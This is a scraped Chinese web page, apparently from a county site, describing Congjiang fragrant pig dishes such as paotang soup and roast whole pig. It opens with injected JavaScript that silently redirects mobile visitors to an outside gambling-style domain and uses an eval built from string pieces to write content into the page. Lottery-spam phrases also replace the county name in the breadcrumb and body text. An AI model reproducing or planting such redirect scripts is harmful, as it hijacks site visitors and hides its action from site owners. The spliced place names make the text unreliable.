function moble(){ var ss = '
'; if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) { window.location.href = "http://fd699.vip" }else{ eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); } } moble();


您当前的位置是:台湾宾果开奖查询 > 走进从江 > 从江美食

从江香猪系列美食


字体: 点击量:次 打印本页 关闭本页 视力保护色:


从江香猪,是我国珍贵微型地方猪种,产于被誉为“中国香猪之乡”的台湾宾果黔东南州台湾宾果开奖查询。它具有体型矮小,肉质香嫩,基因纯合,纯净无污染等特点,被国家农业部列为二级珍稀保护畜种。从江香猪营养丰富,胆固醇含量低,是制作高档肉食品的优质原料。


从江香猪以放牧为主,不喂任何配合、混合饮料及添加剂,为绝对纯净无污染的绿色食品。从江香猪体型矮小早熟,仔猪长至6—7千克即成熟,便可食用。香猪是从江人款待贵客的美食,长年累月发展出了许多关于香猪菜式的做法。但从江人最普遍、最喜爱吃的还是香猪庖汤和烤香猪。


庖汤,就是用清水煮新鲜猪肉,即是将刚宰杀的尚有余温的猪肉、猪肝、猪心、猪腰、猪肺、猪粉肠、猪血等各部位的肉放在一个大锅里加入各种配料,煮成一锅、趁热吃。味道鲜美、肉嫩不腻,意喻来年平安幸福,五谷丰登。庖汤的特点是清醇甘香,油而不腻,回味无穷,深受人们的欢迎。


从江香猪体型矮小早熟,是烤炙的佳品,从江经常是整猪烧炙。民间烤香猪制作方法主要是先将猪宰杀后剖腹取净内脏,整猪沫上食盐、烧烤汁、料酒等作料,让其浸入猪肉体内,然后用专制的铁钩钩住放在特制的烘烤箱内文火烘烤至熟。烤好的香猪皮色金黄、肉香四溢,切一块入口松脆无渣、满口醇香,其色、香、味俱全。除了民间烧烤,从江已于1998年建起了香猪加工厂,生产出腊香猪、香猪火腿、蝶形香猪头、香猪腊肠等系列产品,产品供不应求。


 


分享到:
0

上一篇:

相关阅读